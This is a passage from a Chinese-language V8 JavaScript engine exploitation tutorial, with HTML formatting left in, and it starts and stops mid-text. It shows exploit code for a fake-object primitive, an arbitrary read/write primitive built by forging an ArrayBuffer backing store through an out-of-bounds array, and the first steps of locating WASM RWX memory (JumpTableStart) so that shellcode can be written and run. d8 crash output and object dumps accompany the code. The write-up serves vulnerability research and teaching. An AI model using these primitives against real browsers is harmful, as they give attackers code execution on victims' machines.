%DebugPrint(objects)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>DebugPrint: 0xd79e750aee9: [JSArray]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>- elements: 0x0d79e750af19 &lt;FixedArray[1]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>0: 0x0d79e750aeb1 &lt;Object map = 0x19c550d80451&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">6</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">7</span>0x19c550d82d91: [Map]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">8</span> - elements kind: PACKED_ELEMENTS<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如果可以破坏<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">PACKED_ELEMENTS</code>的数组元素，那么就可以存入一个指向精心构造的对象的指针。所以，我们现在基本的思路就是在这样的数组中存入一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">backing_store + 1</code>（tagged）的地址。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">进行一个简单的测试，测试一下存入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">0x41414141</code>。<br/>任何object的第一个成员都是一个指向<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">map</code>的指针（<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">map</code>描述对象的类型信息），在其他的引擎中成为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Shape</code>或者<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Structure</code>。<br/>所以，当v8将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">0x41414141</code>解析为obj时，我们希望能得到该地址的解引用crash。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// evil_ab是ArrayBuffer对象，另声明packed_elements_array数组</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>evil_ab = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">ArrayBuffer</span>(AB_LENGTH);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>packed_elements_array = <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>.of(MARK1SMI,<span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Math</span>,MARK2SMI);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(evil_ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// fakeobj -&gt; fakemap</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x414141414141</span>n; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// initialize the fake object with this value as a map pointer</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 利用arr2的越界修改packed_elements_array的Math对象指针,为evil_ab fakeobj</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>arr2[index_to_object_pointer] = tagFloat(evil_ab_backingstore_ptr);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>].x; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// crash on 0x414141414141 because it is used as a map pointer</span><br/></code></pre><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（3）Arbitrary read/write primitive</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">思路是伪造一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">backing_store</code>可控的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ArrayBuffer</code>。如下demo，任意写的基本实现</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(evil_ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 通过arr2的越界读写复制evil_ab的object信息到view对象的ArrayBuffer中，即fakeobj</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  view[i] = f2i(arr2[ab_len_idx<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-3</span>+i]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 非length字段 且 非tagged obj ptr</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (view[i] &gt; <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x10000</span> &amp;&amp; !(view[i] &amp; <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n))<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 即伪造backing_store指针，也是obj的第五个成员</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>    view[i] = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x42424242</span>n; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// backing_store</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [...]</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 修改packed_elements_array的Math对象指针指向fakeobj</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>arr2[magic_mark_idx+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>] = tagFloat(fbackingstore_ptr); <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// object pointer</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [...]</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 利用rw_view实现任意写</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> rw_view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Uint32Array</span>(packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>rw_view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x1337</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// *0x42424242 = 0x1337</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">输出如下</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">$</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> d8 rw.js </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>[+] corrupted JSArray&#39;s length<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>[+] Found backingstore pointer : 0000555c593d9890<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>Received signal 11 SEGV_MAPERR 000042424242<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>==== C stack trace ===============================<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span> [0x555c577b81a4]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span> [0x7ffa0331a390]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span> [0x555c5711b4ae]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span> [0x555c5728c967]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span> [0x555c572dc50f]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span> [0x555c572dbea5]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span> [0x555c572dbc55]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span> [0x555c57431254]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span> [0x555c572102fc]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span> [0x555c57215f66]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span> [0x555c576fadeb]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>[end of stack trace]<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如上思路实现任意读写，或者可以伪造float类型obj，通过elements指针实现任意读写，但是写数据过程中会存在数据的破坏，ArrayBuffer不会。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（4）Overwriting WASM RWX memory</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">至此，我们拥有了AAR/W能力，完成利用的最后一块拼图最简单的思路，找一块RWX的内存，写入shellcode并执行，这比<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ROP</code>或者<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JIT CODE REUSE</code>方便多了。<br/>V8以前将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JITed code</code>of<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSFunction</code>放在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RWX</code>的内存中，但是后来修改了：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/*<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span><a href="https://source.chromium.org/chromium/v8/v8.git/+/dde25872f58951bb0148cf43d6a504ab2f280485:src/flag-definitions.h;l=717" target="_blank">https://source.chromium.org/chromium/v8/v8.git/+/dde25872f58951bb0148cf43d6a504ab2f280485:src/flag-definitions.h;l=717</a><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>*/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>DEFINE_BOOL(write_protect_code_memory, V8_WRITE_PROTECT_CODE_MEMORY_BOOL,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;write protect code memory&#34;</span>)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">但是，Andrea Biondo发现，WASM is still using RWX memory。<br/>所以，我们可以找到一个WASM实例，定位到其<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JumpTableStart</code>，即指向<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RWX</code>的指针。步骤如下：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">获取JSFunction的shared function info；</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">从shared function info中获取WASM的exported function信息；</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">从exported function中获取WASM实例；</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">从WASM实例获取JumpTableStart域；</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过Jeremy_x86开发的gdb插件可以比较轻松的识别到JumpTableStart（v8_doare_helpers），通过命令<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">%DumpObjects</code>识别如下</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(224, 108, 117);overflow-wrap: inherit !important;word-break: inherit !important;">-----</span> <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">[ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY]</span> <span style="font-size: inherit;line-height: inherit;color: rgb(224, 108, 117);overflow-wrap: inherit !important;word-break: inherit !important;">-----</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">[...]</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>0<span style="font-size: inherit;line-height: inherit;color: rgb(224, 108, 117);overflow-wrap: inherit !important;word-break: inherit !important;">x00002fac7911ec20</span>    0<span style="font-size: inherit;line-height: inherit;color: rgb(224, 108, 117);overflow-wrap: inherit !important;word-break: inherit !important;">x0000087e7c50a000</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(224, 108, 117);overflow-wrap: inherit !important;word-break: inherit !important;">JumpTableStart</span> <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">[RWX]</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">测试手动定位一下，测试代码sample_wasm.js</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> load(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;sample_wasm.js&#34;</span>)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(global_test,10)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>----- [ JS_FUNCTION_TYPE : 0x38 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>0x00002fac7911ed10    0x00001024ebc84191    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>0x00002fac7911ed18    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>0x00002fac7911ed20    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>0x00002fac7911ed28    0x00002fac7911ecd9    SHARED_FUNCTION_INFO_TYPE   &lt;=================<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>0x00002fac7911ed30    0x00002fac79101741    NATIVE_CONTEXT_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 